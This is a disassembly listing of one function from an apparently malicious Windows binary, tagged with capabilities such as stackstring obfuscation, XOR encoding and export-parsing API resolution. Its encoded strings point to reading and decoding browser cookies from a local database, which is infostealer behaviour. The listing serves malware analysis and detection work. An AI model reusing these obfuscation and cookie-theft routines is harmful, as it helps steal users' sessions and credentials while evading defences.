Function at 0x411178
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x230
push ebx
push ebp
push esi
mov ebp, edx
mov dword [esp + 0x138], ecx
push edi
mov dword [esp + 0xfc], ebp
xor ecx, ecx
mov dword [esp + 0x18], 0x494a5b70
mov dword [esp + 0x1c], 0x62554c51
mov dword [esp + 0x20], 0x5551517d
mov word [esp + 0x24], 0x5b57
mov byte [esp + 0x26], 0x4d
mov al, byte [esp + ecx + 0x18]
xor al, 0x3e
movzx eax, al
mov word [esp + ecx*2 + 0x198], ax
inc ecx
cmp ecx, 0xf
jl 0x4111b8
xor eax, eax
mov dword [esp + 0x28], 0xf6faface
push 0x75
mov word [esp + 0x1ba], ax
xor ecx, ecx
mov word [esp + 0x30], 0xf0f4
mov ebx, 0xff
mov byte [esp + 0x32], 0xfe
pop edx
movzx eax, byte [esp + ecx + 0x28]
add ax, dx
and ax, bx
mov word [esp + ecx*2 + 0x158], ax
inc ecx
cmp ecx, 7
jl 0x4111f7
xor eax, eax
mov word [esp + 0x166], ax
call fcn.00419bf5
mov ebx, eax
test ebx, ebx
je 0x4119f2
lea eax, [esp + 0x198]
mov dword [esp + 0x88], 0xb49b84cd
mov dword [esp + 0x140], eax
xor edi, edi
lea eax, [esp + 0x158]
mov dword [esp + 0x100], edi
mov dword [esp + 0x144], eax
mov word [esp + 0x8c], 0x84cd
mov byte [esp + 0x8e], 0x9b
xor ecx, ecx
mov al, byte [esp + ecx + 0x88]
xor al, 0xe8
movzx eax, al
mov word [esp + ecx*2 + 0x168], ax
inc ecx
cmp ecx, 7
jl 0x41126d
push dword [esp + edi*4 + 0x140]
xor eax, eax
mov word [esp + 0x17a], ax
lea eax, [esp + 0x16c]
push ebp
push eax
call fcn.0041b737
mov esi, eax
add esp, 0xc
mov dword [esp + 0x138], esi
test esi, esi
je 0x4119e1
mov ecx, esi
call fcn.0041b791
mov ebp, eax
test ebp, ebp
je 0x4119d3
xor edx, edx
mov ecx, ebp
call fcn.0041b9fd
mov edi, eax
mov dword [esp + 0xf4], edi
test edi, edi
je 0x4119b5
push 0
push 1
lea eax, [esp + 0x100]
push eax
push edi
call dword [ebx + 4]
add esp, 0x10
test eax, eax
jne 0x4119a3
mov dword [esp + 0x38], 0x6b616649
xor ecx, ecx
mov dword [esp + 0x3c], 0x7d676c2f
mov dword [esp + 0x40], 0x7a666260
mov dword [esp + 0x44], 0x606c2f62
mov dword [esp + 0x48], 0x6a666460
mov dword [esp + 0x4c], 0x6d6b2f7c
mov dword [esp + 0x50], 0x7c632a2f
mov byte [esp + 0x54], 5
mov al, byte [esp + ecx + 0x38]
xor al, 0xf
mov byte [esp + ecx + 0x178], al
inc ecx
cmp ecx, 0x1d
jl 0x41133f
push 0x58
pop eax
push 0x75
mov byte [esp + 0x99], al
xor ecx, ecx
pop eax
mov byte [esp + 0x195], 0
mov dword [esp + 0x90], 0x4940495f
mov byte [esp + 0x94], 0x4f
mov dword [esp + 0x96], 0x7f63642c
mov dword [esp + 0x9a], 0x69675378
mov byte [esp + 0x9e], al
mov dword [esp + 0x9f], 0x7f652c20
mov dword [esp + 0xa3], 0x78786453
mov dword [esp + 0xa7], 0x6062637c
mov byte [esp + 0xab], al
mov dword [esp + 0xac], 0x6d7c2c20
mov dword [esp + 0xb0], 0x2c206478
mov dword [esp + 0xb4], 0x7f537f65
mov dword [esp + 0xb8], 0x7e796f69
mov dword [esp + 0xbc], 0x692c2069
mov dword [esp + 0xc0], 0x7e657c74
mov dword [esp + 0xc4], 0x79537f69
mov dword [esp + 0xc8], 0x2c206f78
mov dword [esp + 0xcc], 0x69616d62
mov dword [esp + 0xd0], 0x62692c20
mov word [esp + 0xd4], 0x7e6f
mov byte [esp + 0xd6], al
mov dword [esp + 0xd7], 0x6869787c
mov dword [esp + 0xdb], 0x606d7a53
mov dword [esp + 0xdf], 0x4a2c6979
mov dword [esp + 0xe3], 0x2c41435e
mov dword [esp + 0xe7], 0x6763636f
mov word [esp + 0xeb], 0x6965
mov byte [esp + 0xed], 0x7f
mov al, byte [esp + ecx + 0x90]
xor al, 0xc
mov byte [esp + ecx + 0x1e0], al
inc ecx
cmp ecx, 0x5e
jl 0x411489
lea eax, [esp + 0x178]
mov byte [esp + 0x23e], 0
push esi
push eax
call fcn.004125f4
push 0
lea eax, [esp + 0x20]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x1f4]
push eax
push dword [esp + 0x110]
call dword [ebx + 8]
add esp, 0x1c
test eax, eax
jne 0x411994
push dword [esp + 0x14]
lea edi, [esp + 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [ebx + 0xc]
pop ecx
cmp eax, 0x64
jne 0x4117f1
mov dword [esp + 0x68], 0x1116104d
mov word [esp + 0x6c], 0x4d01
mov dword [esp + 0x70], 0x9d9097d8
mov word [esp + 0x74], 0x9482
mov byte [esp + 0x76], 0xd8
mov dword [esp + 0x28], 0x343133e8
mov word [esp + 0x2c], 0xe824
mov dword [esp + 0x78], 0x3f32357a
mov word [esp + 0x7c], 0x3620
mov byte [esp + 0x7e], 0x7a
mov word [esp + 0x58], 0xcccf
xor edx, edx
mov ecx, edx
mov al, byte [esp + ecx + 0x68]
xor al, 0x44
mov byte [esp + ecx + 0x104], al
inc ecx
cmp ecx, 6
jl 0x411544
mov byte [esp + 0x10a], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x70]
xor al, 0xd1
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 7
jl 0x411560
mov byte [esp + 0x127], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x28]
add al, 0x21
mov byte [esp + ecx + 0x10c], al
inc ecx
cmp ecx, 6
jl 0x41157c
mov byte [esp + 0x112], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x78]
xor al, 0x73
mov byte [esp + ecx + 0x128], al
inc ecx
cmp ecx, 7
jl 0x411598
mov byte [esp + 0x12f], dl
mov ecx, edx
mov word [esp + 0x30], 9
mov word [esp + 0x34], 9
mov al, byte [esp + ecx + 0x58]
add al, 0x3e
mov byte [esp + ecx + 0x60], al
inc ecx
cmp ecx, 2
jl 0x4115c2
push edx
push dword [esp + 0x18]
mov byte [esp + 0x6a], dl
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 0
push dword [esp + 0x1c]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.0041b9d5
pop ecx
push 1
push dword [esp + 0x18]
call dword [ebx + 0x10]
pop ecx
pop ecx
test eax, eax
je 0x411617
cmp byte [eax], 0x31
jne 0x411617
lea esi, [esp + 0x104]
mov eax, esi
jmp 0x411620
lea esi, [esp + 0x120]
mov eax, esi
push eax
lea edi, [esp + 0x1c]
call fcn.00405b40
pop ecx
push eax
mov edx, esi
mov ecx, edi
call fcn.0041b87a
pop ecx
push 2
push dword [esp + 0x18]
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x1c]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
mov ecx, edi
call fcn.0041b9d5
pop ecx
push 3
push dword [esp + 0x18]
call dword [ebx + 0x10]
pop ecx
pop ecx
test eax, eax
je 0x411676
cmp byte [eax], 0x31
jne 0x411676
lea esi, [esp + 0x10c]
mov eax, esi
jmp 0x41167f
lea esi, [esp + 0x128]
mov eax, esi
push eax
call fcn.00405b40
pop ecx
push eax
mov edx, esi
mov ecx, edi
call fcn.0041b87a
pop ecx
push 4
push dword [esp + 0x18]
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 4
push dword [esp + 0x1c]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.0041b9d5
pop ecx
lea eax, [esp + 0x30]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x34]
lea ecx, [esp + 0x1c]
call fcn.0041b87a
pop ecx
push 5
push dword [esp + 0x18]
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 5
push dword [esp + 0x1c]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.0041b9d5
pop ecx
lea eax, [esp + 0x34]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x38]
lea ecx, [esp + 0x1c]
call fcn.0041b87a
pop ecx
push 6
push dword [esp + 0x18]
call dword [ebx + 0x14]
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4117c6
push 6
push dword [esp + 0x18]
call dword [ebx + 0x20]
cmp byte [esi], 0x76
mov edx, eax
pop ecx
pop ecx
jne 0x411776
cmp byte [esi + 1], 0x31
lea eax, [esi + 2]
jne 0x411776
cmp byte [eax], 0x30
je 0x411745
cmp byte [eax], 0x31
jne 0x411776
lea eax, [esp + 0x114]
mov ecx, esi
push eax
call fcn.0040f87c
mov esi, eax
pop ecx
test esi, esi
je 0x4117c6
push dword [esp + 0x114]
mov edx, esi
lea ecx, [esp + 0x1c]
call fcn.0041b87a
pop ecx
push esi
call fcn.004056f0
jmp 0x4117c5
lea eax, [esp + 0x150]
mov dword [esp + 0x148], edx
push eax
xor eax, eax
mov dword [esp + 0x150], esi
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x160]
mov edx, 0xbedfd981
push eax
push 3
pop ecx
call fcn.00412ca7
call eax
test eax, eax
je 0x4117c6
push dword [esp + 0x150]
mov edx, dword [esp + 0x158]
lea ecx, [esp + 0x1c]
call fcn.0041b87a
pop ecx
lea eax, [esp + 0x60]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x64]
lea ecx, [esp + 0x1c]
call fcn.0041b87a
pop ecx
push dword [esp + 0x14]
call dword [ebx + 0xc]
pop ecx
cmp eax, 0x64
je 0x411540
cmp dword [esp + 0x18], 0
je 0x41198d
push 0x58
mov dword [esp + 0x3c], 0x131717eb
xor ecx, ecx
mov dword [esp + 0x40], 0xd71b0d11
mov edx, 0xff
mov dword [esp + 0x44], 0x71b14cd
mov dword [esp + 0x48], 0xd61b14cd
mov word [esp + 0x4c], 0x201c
mov byte [esp + 0x4e], 0x1c
pop esi
movzx eax, byte [esp + ecx + 0x38]
add ax, si
and ax, dx
mov word [esp + ecx*2 + 0x1b8], ax
inc ecx
cmp ecx, 0x13
jl 0x411832
mov ecx, dword [esp + 0xfc]
lea edx, [esp + 0x118]
xor eax, eax
mov word [esp + 0x1de], ax
call fcn.004120f0
mov esi, eax
test esi, esi
je 0x411949
mov edx, dword [esp + 0x118]
lea eax, [esp + 0x11c]
push eax
mov ecx, esi
call fcn.0040f87c
mov edi, eax
pop ecx
test edi, edi
je 0x411942
mov dword [esp + 0x80], 0x6b511013
xor ecx, ecx
mov word [esp + 0x84], 0x407f
mov byte [esp + 0x86], 0x26
mov al, byte [esp + ecx + 0x80]
sub al, 6
mov byte [esp + ecx + 0x130], al
inc ecx
cmp ecx, 7
jl 0x4118b2
mov byte [esp + 0x137], 0
xor ecx, ecx
mov word [esp + 0x5c], 0x9d9a
mov al, byte [esp + ecx + 0x5c]
xor al, 0x97
mov byte [esp + ecx + 0x64], al
inc ecx
cmp ecx, 2
jl 0x4118d9
lea eax, [esp + 0x130]
mov byte [esp + 0x66], 0
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x134]
lea ecx, [esp + 0x1c]
call fcn.0041b87a
pop ecx
push dword [esp + 0x11c]
mov edx, edi
lea ecx, [esp + 0x1c]
call fcn.0041b87a
pop ecx
lea eax, [esp + 0x64]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x68]
lea ecx, [esp + 0x1c]
call fcn.0041b87a
pop ecx
push edi
call fcn.004056f0
pop ecx
push esi
call fcn.004056f0
pop ecx
push dword [esp + 0x244]
lea eax, [esp + 0x1bc]
push dword [esp + 0x140]
push eax
call fcn.0041b737
mov esi, eax
add esp, 0xc
test esi, esi
je 0x411983
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
push esi
call fcn.00418be5
pop ecx
push esi
call fcn.004056f0
pop ecx
push dword [esp + 0x18]
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0xf4]
push dword [esp + 0x14]
call dword [ebx + 0x18]
mov esi, dword [esp + 0x13c]
pop ecx
push dword [esp + 0xf8]
call dword [ebx + 0x1c]
pop ecx
push edi
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412ca7
call eax
push ebp
call fcn.004056f0
mov edi, dword [esp + 0x104]
pop ecx
push esi
call fcn.004056f0
mov ebp, dword [esp + 0x100]
pop ecx
inc edi
mov dword [esp + 0x100], edi
cmp edi, 2
jb 0x41126b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x230
ret